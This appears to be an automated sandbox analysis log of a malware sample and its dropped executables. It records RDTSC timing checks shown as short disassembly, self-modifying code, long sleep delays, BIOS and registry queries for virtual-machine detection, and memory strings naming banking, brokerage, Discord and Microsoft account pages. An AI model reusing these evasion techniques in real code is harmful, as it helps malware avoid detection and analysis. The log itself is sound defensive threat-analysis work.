Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FCAFE8 second address: FCAFEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FCAFEE second address: FCAFFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F4D45034D1Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FCB1B4 second address: FCB1E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4D44D0519Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FCB1E0 second address: FCB1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FCB1E4 second address: FCB1F4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4D44D05196h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FCEAB8 second address: FCEB1E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 763E01FBh 0x0000000f mov dx, 6D7Fh 0x00000013 push 00000003h 0x00000015 mov edx, dword ptr [ebp+122D2C93h] 0x0000001b jnl 00007F4D45034D19h 0x00000021 push 00000000h 0x00000023 mov ecx, 0E4798FBh 0x00000028 push 00000003h 0x0000002a mov dx, si 0x0000002d push E2270930h 0x00000032 je 00007F4D45034D20h 0x00000038 pushad 0x00000039 pushad 0x0000003a popad 0x0000003b jp 00007F4D45034D16h 0x00000041 popad 0x00000042 xor dword ptr [esp], 22270930h 0x00000049 adc cx, F4C0h 0x0000004e lea ebx, dword ptr [ebp+12453931h] 0x00000054 xchg eax, ebx 0x00000055 je 00007F4D45034D39h 0x0000005b push eax 0x0000005c push edx 0x0000005d jnp 00007F4D45034D16h 0x00000063 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FCECE7 second address: FCED0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 js 00007F4D44D05196h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D3819h], edi 0x00000015 push 00000000h 0x00000017 mov ecx, 154CCD60h 0x0000001c push ACE6FB2Ch 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FED249 second address: FED250 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FED250 second address: FED26B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D44D051A5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FED6F2 second address: FED6F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FED892 second address: FED8A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D0519Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FED8A0 second address: FED8B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4D45034D22h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEDB3C second address: FEDB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D44D051A7h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEDB57 second address: FEDB9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D20h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d jmp 00007F4D45034D29h 0x00000012 js 00007F4D45034D22h 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEDCD8 second address: FEDCF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D44D0519Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F4D44D05196h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FE2443 second address: FE247B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D45034D1Eh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F4D45034D1Fh 0x00000012 jmp 00007F4D45034D21h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEE321 second address: FEE326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEE326 second address: FEE32F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEE32F second address: FEE333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEE333 second address: FEE354 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4D45034D22h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEE354 second address: FEE35A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEE35A second address: FEE360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEE360 second address: FEE365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEE365 second address: FEE371 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F4D45034D16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEE371 second address: FEE375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEE375 second address: FEE379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEE379 second address: FEE37F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEE891 second address: FEE8A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F4D45034D1Ch 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEE8A3 second address: FEE8C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4D44D051A4h 0x00000010 jg 00007F4D44D05196h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEE8C8 second address: FEE8D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEEA70 second address: FEEA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F4D44D05196h 0x0000000a jmp 00007F4D44D051A7h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEEA93 second address: FEEAB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push edx 0x00000008 je 00007F4D45034D16h 0x0000000e jmp 00007F4D45034D21h 0x00000013 pop edx 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEEBFF second address: FEEC12 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4D44D05196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jne 00007F4D44D05196h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEED90 second address: FEEDB3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007F4D45034D23h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FEEDB3 second address: FEEDB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FF1E87 second address: FF1E8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 613B29 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 613BD3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7BDB52 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7E6D21 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 848618 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Special instruction interceptor: First address: E4EC54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Special instruction interceptor: First address: E4C552 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Special instruction interceptor: First address: E4EB6B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Special instruction interceptor: First address: 108778C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Special instruction interceptor: First address: 5316B8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Special instruction interceptor: First address: 52F696 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Special instruction interceptor: First address: 6F4EF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Special instruction interceptor: First address: 6DF7E6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Special instruction interceptor: First address: A3DDF1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Special instruction interceptor: First address: 757A46 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Special instruction interceptor: First address: C855AD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 104EC54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 104C552 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 104EB6B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 128778C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Special instruction interceptor: First address: 1053B29 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Special instruction interceptor: First address: 1053BD3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Special instruction interceptor: First address: 11FDB52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Special instruction interceptor: First address: 1226D21 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Special instruction interceptor: First address: 1288618 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Special instruction interceptor: First address: 3416B8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Special instruction interceptor: First address: 33F696 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Special instruction interceptor: First address: 504EF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Special instruction interceptor: First address: 4EF7E6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Special instruction interceptor: First address: 567A46 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Memory allocated: 47B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Memory allocated: 4B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Memory allocated: 4950000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe

Code function: 3_2_05400229 rdtsc

3_2_05400229

Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 358	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 354	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1580	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 3375	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Window / User API: threadDelayed 710

Source: C:\Users\user\Desktop\file.exe TID: 1200	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe TID: 7368	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7748	Thread sleep count: 52 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7748	Thread sleep time: -104052s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7764	Thread sleep count: 52 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7764	Thread sleep time: -104052s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7724	Thread sleep count: 358 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7724	Thread sleep time: -10740000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7760	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7760	Thread sleep time: -92046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep count: 340 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep time: -680340s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7836	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7740	Thread sleep count: 354 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7740	Thread sleep time: -708354s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7756	Thread sleep count: 56 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7756	Thread sleep time: -112056s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7740	Thread sleep count: 1580 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7740	Thread sleep time: -3161580s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep count: 3375 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep time: -6753375s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe TID: 8036	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe TID: 8040	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe TID: 6176	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe TID: 2020	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe TID: 3680	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: skotes.exe, skotes.exe, 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmp, 976d9f40c1.exe, 00000009.00000002.2804031030.00000000011DE000.00000040.00000001.01000000.0000000E.sdmp, 606f2f6db0.exe, 0000000A.00000002.2935241193.00000000004BB000.00000040.00000001.01000000.0000000F.sdmp, 976d9f40c1.exe, 0000000B.00000002.2924184615.00000000011DE000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: firefox.exe, 00000019.00000002.3175124734.0000013790400000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWu
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2120862136.0000000005A98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000003.2094931339.0000000001066000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWq@
Source: file.exe, 00000000.00000003.2094931339.000000000107E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201148750.000000000107B000.00000004.00000020.00020000.00000000.sdmp, 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E83000.00000004.00000020.00020000.00000000.sdmp, 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.3343285649.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.3343285649.00000000016BC000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803355226.00000000016F8000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000002.2806226818.000000000167E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000002.2806413916.00000000016E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 00000019.00000002.3179268401.000001379A0B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 606f2f6db0.exe, 0000000A.00000002.2936306936.00000000012C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: firefox.exe, 00000019.00000002.3175124734.0000013790400000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RA
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 606f2f6db0.exe, 0000000A.00000002.2936306936.000000000124E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaren
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
